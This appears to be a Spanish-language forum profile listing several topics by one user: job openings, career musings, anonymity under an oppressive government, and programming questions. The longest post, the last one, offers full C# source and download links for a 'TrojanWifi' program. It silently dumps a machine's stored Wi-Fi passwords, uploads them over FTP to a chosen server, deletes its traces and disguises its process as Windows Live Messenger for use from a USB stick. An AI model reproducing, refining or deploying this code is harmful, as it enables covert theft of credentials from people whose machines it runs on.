Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - MeTaD

#1
Foro Libre / Posiciones de trabajo abiertas en BCN!
15 Septiembre 2018, 09:58 AM
Hola, hace muchos años estoy en el foro, me registré cuando jamás pensé que viviría aquí en españa. Hoy día hago vida en Barcelona... Las vueltas que da la vida.

Vistaprint esta buscando a desarrollador de base de datos y tambien buscan a otro desarollador de software. Son dos posiciones, no la misma :)

Soy autodidacta igual como muchos de ustedes, no tengo ningún título universitario. Te cuento esto porque NO quiero que te cortes. Si tienes nocion de lo que se habla en los requerimientos, NO TENGAS MIEDO.

Requisito INDISPENSABLE: Hablar inglés. La empresa es americana, y todo se maneja en ingles, comunicaciones escritas y habladas. (Hay gente que su nivel de ingles no es el mejor, pero no pasa nada.. Mientras estes dispuesto a aprender. Pero las entrevistas se haran en ingles)

https://careers.vistaprint.com/search-results/?location=ES-Barcelona
https://careers.vistaprint.com/job-description/?id=23560
https://careers.vistaprint.com/job-description/?id=25780

Mándame tu info de contacto por privado y te oriento un poco.

PD: No necesito fomalismos conmigo, soy un desarrollador de software y base de datos. No soy reclutador, ni trabajo con Recursos Humanos. Solo intento ayudar :)
#2
Un título un poco raro y paradójico, pero es que en este instante tengo la gran duda. Permítanme elaborar.

Tengo 22 años, fui exiliado de mi país por motivos políticos hace 4 años y por tanto estudiar se me dificultó. Sin embargo siempre he sido autodidacta y he estudiado por mi propia cuenta y trabajado con informática en el área de desarrollo, base de datos y seguridad informática.

Hace pocos días, después de 3 meses de un fuerte proceso de seleccion, logré obtener la posición de Ingeniero Analítico en una importante compañía transnacional. Excelente paga y beneficios. Sin embargo, mi chica me comentó que hablando con su mama ésta le dijo "Pero él no es ingeniero, ¿por qué no estudia?, si lo hace quizá gana mejor".

Tiene razón en que no estudie ninguna ingeniería en la universidad, pero si he pasado incontables horas de insomnio estudiando, practicando y aprendiendo por mi propia cuenta... Me ha dolido un poco, pero al final quedé con la duda... ¿soy ingeniero?, si mi título en la compañía es "Ingeniero Analítico"...
#3
Bueno, suena un poco extraño lo que pido, ¿No?, pero no es con ningún fin macabro jajajaja, Tengo un servidor de un juego online (los binarios) y estoy haciendo algunas pruebas, los binarios del servidor son un conjunto de archivos que se enlazan entre sí mediante conexiones IP y sus respectivos puertos, ahora bien, como estos binarios están diseñados explícitamente para pruebas locales, las conexiones solo pueden ser con la ip del adaptador de red actual... algo así como que si el programa pregunta "Hey, ¿cuál es la IP de la máquina actual?" y a partir de ahi, establece la comunicación con otro binario que espera la ejecucion del binario actual...

el proceso de conexión es mas o menos asi:
1)GestorGlobal => 2)SegundoBinario

Gestor global dice "Acepto las conexiones provenientes SOLO de la DIRECCION que se me ha especificado en un archivo de configuracion" [Suposición 192.168.1.20 o un DNS] y luego el segundo binario dice "Estableceré conexión con el gestor global utilizando la ip del adaptador de red actual"[El adaptador actual supongamos tiene 192.168.1.255]

entonces, al intentar conectarse el segundo binario al GestorGlobal, el segundo binario no consigue al gestor global... y aunque lo consiguiera (Supongamos que en el gestor global decimos que aceptara las conexiones provenientes de dominio.com, y dominio.com se resuelve en la IP del adaptador local [192.168.1.255], al conectarse el segundo binario a la IP 192.168.1.255 proveída por el adaptador local) el gestor global recibirá la petición pero la rechazará por identificarse con la IP y no con el dominio.com explícitamente, y este segundo binario tiene como instrucción cerrarse si no recibe la confirmación del gestor global (No cierra por error, simplemente se le envia la señal de cerrarse y devolver código de error 0, es decir, ejecución normal...)

--Fin de explicación--

Entonces, en resumen, este segundo binario no me permite decirle la dirección de conexión explícitamente, sino que obtendrá la ip que el adaptador de red tenga actualmente para ejecutar la petición, necesito poder modificar eso, es decir, en vez de utilizar la ip que le diga el adaptador, especificarle yo mismo una direccion, sea DNS o IP...

el programa al momento de ejecutarse realiza esa función de obtener la ip y solicitar la autenticacion, como puedo determinar cual es esa función para poder modificarla y expecificarle una dirección de conexión?
#4
Me fascina el tema de la seguridad informática, actualmente estoy aprendiendo de forma autodidacta, pero mi gran problema es mi seguridad... Actualmente resido en un país donde salir a protestar en las calles es un tiro seguro, en un país donde la libertad de expresión es atentada alegando una "guerra mediática" en la cual realmente es el estado quien controla todos los canales informativos... para los que no saben hablamos de Venezuela, la única forma de protestar que tenemos es aquí, mediante el internet...
Sabiendo lo peligroso que es éste gobierno callando las voces que piden a gritos la verdad... quisiera saber cómo puedo hacer valer mi libertad de expresión sin poner en bandeja de plata mi identidad...
¿VPN?, unos hacktivistas de aquí me dijeron que con VPN no estoy seguro y me agarran en segundos pero no dieron más detalles de cómo estar seguro... por eso acudo a ustedes... ¿Cómo puedo ocultarme?
#5
Buenas tardes amigos, soy nuevo en la programación de c++, así que porfavor disculpen mi ignorancia...
Mi problema está ocurriendo al tratar de Convertir una cadena de texto extremadamente larga (461 carácteres) a hexadecimal usando CryptStringToBinary... el problema es que debido a la cantidad de carácteres debo utilizar WCHAR para almacenar dicha cadena... lo que me arroja el siguiente error:

Citar[Error] cannot convert 'WCHAR* {aka wchar_t*}' to 'LPCSTR {aka const char*}' for argument '1' to 'WINBOOL CryptStringToBinaryA(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*)'

Como soy nuevo no estoy muy familiarizado con los errores y cómo solucinarlos todos... ¿Qué puedo hacer para solucionar el problema?

A continuación expongo un extracto del código:

    BOOL bIsSuccess = FALSE;
    WCHAR szKey[] = L"01000000D08C9DDF0115D1118C7A00C04FC297EB01000...";
    BYTE byKey[1024];
    DWORD cbBinary, dwFlags, dwSkip;
    bIsSuccess = CryptStringToBinary (szKey, lstrlenW(szKey), CRYPT_STRING_HEX, byKey, &cbBinary, &dwSkip, &dwFlags);


Si es preciso poner el código completo solo es cuestión de pedirlo (aunque me temo que es un poco extenso)

Muchas gracias de antemano,
Metad.
#6
Buenas amigos, en ésta ocasión quisiera saber si ustedes conocen alguna librería o código de C#.net que me permita mostrar una barra de progreso en un upload a un FTP que mi programa hace porque es desesperante no ver cuánto por ciento lleva el archivo subido...
Gracias de antemano.
#7
WarZone / Criptografia WI fallando
25 Noviembre 2012, 17:25 PM
Aparentemente, el reto de cripgorafia WI esta fallando, pues la imagen esta alojada en http://mirror9.escomposlinux.org/tira/ecol-218.png pero escomposlinux.org esta caido...
#8
Actualizacion 07/04/12
Actualizo el código del programa, gracias a la recomendación de Kub0x he eliminado la necesidad del program.bat cambiando las siguientes lineas del código:

            System.Diagnostics.ProcessStartInfo info = new System.Diagnostics.ProcessStartInfo("CMD.EXE", @"/C hackingwifi\program.bat");
            info.Verb = "open";
            System.Diagnostics.Process.Start(info);

por:
            Process myProcess = new Process();
            myProcess.StartInfo.FileName = @"hackingwifi\WirelessKeyView.exe";
            myProcess.StartInfo.Arguments = @"/shtml config.cfg";
            myProcess.StartInfo.CreateNoWindow = true;
            myProcess.Start();


____________________________________
Antes que nada, mucho gusto, he estado aprediendo algo de programacion en C# desde hace unos meses y el dia de hoy he creado un pequeño programa el cual les explicaré:
Obtiene las contraseñas almacenadas de wifi de una máquina y las sube mediante FTP a algun servidor previamente especificado, todo bajo el segundo plano aunque mi idea es compartir el conocimiento que he adquirido me encantaria que aquellos quienes son mejores en esto me aconsejen para mejorar mis codigos en C#, a continuación explico paso por paso el funcionamiento:

- El programa inicia leyendo un archivo .xml en el cual está almacenada la información del FTP.
- Ejecuta un .bat que a su vez ejecuta wirelesskeyview mediante CMD y exporta los datos a un .cfg
- El programa duerme unos 40s (Previendo que una máquina esté saturada o sea lenta)
- Inicia la subida del nuevo archivo medidante FTP al servidor especificado con el siguiente nombre de archivo: "nombredelamaquina"-wifi.html
- El programa elimina ese .cfg y se finalmente se cierra.

Como se puede apreciar es ideal para ejecutarlo desde un pendrive y el programa está algo oculto, el proceso se esconde con el de Windows Live Messenger.

Espero sea de su agrado y que porfavor opinen y den sugerencias sobre el código del programa

aqui dejo el código y mas abajo la solucion del proyecto más el compilado:
TrojanWifi:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.Xml;

namespace TrojanWifi
{
   public partial class Form2 : Form
   {

       string direccion;
       string usuario;
       string clave;
       public Form2()
       {
           InitializeComponent();
           
       }
       private void leexml()
       {
           XmlDocument xDoc = new XmlDocument();
           //La ruta del documento XML permite rutas relativas
           //respecto del ejecutable!
           xDoc.Load("config.xml");
           XmlNodeList config = xDoc.GetElementsByTagName("configuracion");
           XmlNodeList lista = ((XmlElement)config[0]).GetElementsByTagName("servidor");
           foreach (XmlElement nodo in lista)
           {
               int i = 0;
               XmlNodeList ftp = nodo.GetElementsByTagName("ftp");
               XmlNodeList user = nodo.GetElementsByTagName("user");
               XmlNodeList pass = nodo.GetElementsByTagName("pass");
               direccion = ftp[i].InnerText;
               usuario = user[i].InnerText;
               clave = pass[i].InnerText;
           }
       }

       private void Form2_Load(object sender, EventArgs e)
       {
           leexml();
           System.Diagnostics.ProcessStartInfo info = new System.Diagnostics.ProcessStartInfo("CMD.EXE", @"/C hackingwifi\program.bat");
           info.Verb = "open";
           System.Diagnostics.Process.Start(info);
           System.Threading.Thread.Sleep(40000);            
           DirectoryUP();
           borrarrastro();
           Application.Exit();

       }


       private void DirectoryUP()
       {
           
               // Get the object used to communicate with the server.
               FtpWebRequest request = (FtpWebRequest)WebRequest.Create(direccion+Environment.MachineName+ "-wifi.html");
               request.Method = WebRequestMethods.Ftp.UploadFile;

               // This example assumes the FTP site uses anonymous logon.
               request.Credentials = new NetworkCredential(usuario, clave);

               // Copy the contents of the file to the request stream.
               StreamReader sourceStream = new StreamReader("config.cfg");
               byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
               sourceStream.Close();
               request.ContentLength = fileContents.Length;

               Stream requestStream = request.GetRequestStream();
               requestStream.Write(fileContents, 0, fileContents.Length);
               requestStream.Close();

               FtpWebResponse response = (FtpWebResponse)request.GetResponse();
               //MessageBox.Show(response.StatusDescription, response.StatusDescription, MessageBoxButtons.OK);
               response.Close();

           }
       private static void borrarrastro()
       {
           // Delete a file by using File class static method...
           if (System.IO.File.Exists(@"config.cfg"))
           {
               try
               {
                   System.IO.File.Delete(@"config.cfg");
               }
               catch (System.IO.IOException)
               {
                   Application.Exit();
               }
           }
       }
     
   }
}


Configurador de TrojanWifi:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Xml;
using System.IO;

namespace WindowsFormsApplication1
{

   public partial class Form1 : Form
   {
       string ftp;
       string user;
       string pass;
       string direccion;
       string usuarioo;
       string clavee;
       public Form1()
       {
           InitializeComponent();
       }

       private void Form1_Load(object sender, EventArgs e)
       {
           if (System.IO.File.Exists(@"config.xml"))
           {
               leexml();
           }
           server.Text = direccion;
           usuario.Text = usuarioo;
           clave.Text = clavee;
       }

      private void leexml()
       {
           XmlDocument xDoc = new XmlDocument();
           //La ruta del documento XML permite rutas relativas
           //respecto del ejecutable!
           xDoc.Load("config.xml");
           XmlNodeList config = xDoc.GetElementsByTagName("configuracion");
           XmlNodeList lista = ((XmlElement)config[0]).GetElementsByTagName("servidor");
           foreach (XmlElement nodo in lista)
           {
               int i = 0;
               XmlNodeList ftp = nodo.GetElementsByTagName("ftp");
               XmlNodeList user = nodo.GetElementsByTagName("user");
               XmlNodeList pass = nodo.GetElementsByTagName("pass");
               direccion = ftp[i].InnerText;
               usuarioo = user[i].InnerText;
               clavee = pass[i].InnerText;
               
           }
       }
       private void escribe(string fftp, string uuser, string ppass)
       {
           try
           {

               //Pass the filepath and filename to the StreamWriter Constructor
               StreamWriter sw = new StreamWriter("config.xml");

               //Write a line of text
               sw.WriteLine("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
               sw.WriteLine("<configuracion>");
               sw.WriteLine("<servidor>");
               sw.WriteLine("<ftp>" + fftp + "</ftp>");
               sw.WriteLine("<user>" + uuser + "</user>");
               sw.WriteLine("<pass>" + ppass + "</pass>");
               sw.WriteLine("</servidor>");
               sw.WriteLine("</configuracion>");

               //Close the file
               sw.Close();
           }
           catch (Exception e)
           {
               Console.WriteLine("Exception: " + e.Message);
           }
           finally
           {
               Console.WriteLine("Executing finally block.");
           }
       }

       private void button1_Click(object sender, EventArgs e)
       {
           ftp = server.Text;
           user = usuario.Text;
           pass = clave.Text;
           escribe(ftp, user, pass);
           MessageBox.Show("ok", "ok", MessageBoxButtons.OK);
       }

       private void button2_Click(object sender, EventArgs e)
       {
           
           MessageBox.Show("ok", "ok", MessageBoxButtons.OK);
       }

       private void sobreElProgramaToolStripMenuItem_Click(object sender, EventArgs e)
       {
           MessageBox.Show("Programa creado por MeTaD" + Environment.NewLine + Environment.NewLine + "Contacto: metad3339@gmail.com", "Sobre el programa...", MessageBoxButtons.OK);
       }
   }
}


Descargas:
TrojanWIFI: http://www.mediafire.com/?5qpg7dungnh9g1h
TrojanWIFI + Source: http://www.mediafire.com/?ylb3r439j7y170t

NOTA:
Pido disculpas si esta no es la sección correspondiente, realmente no sabia exactamente donde publicarlo, discupen.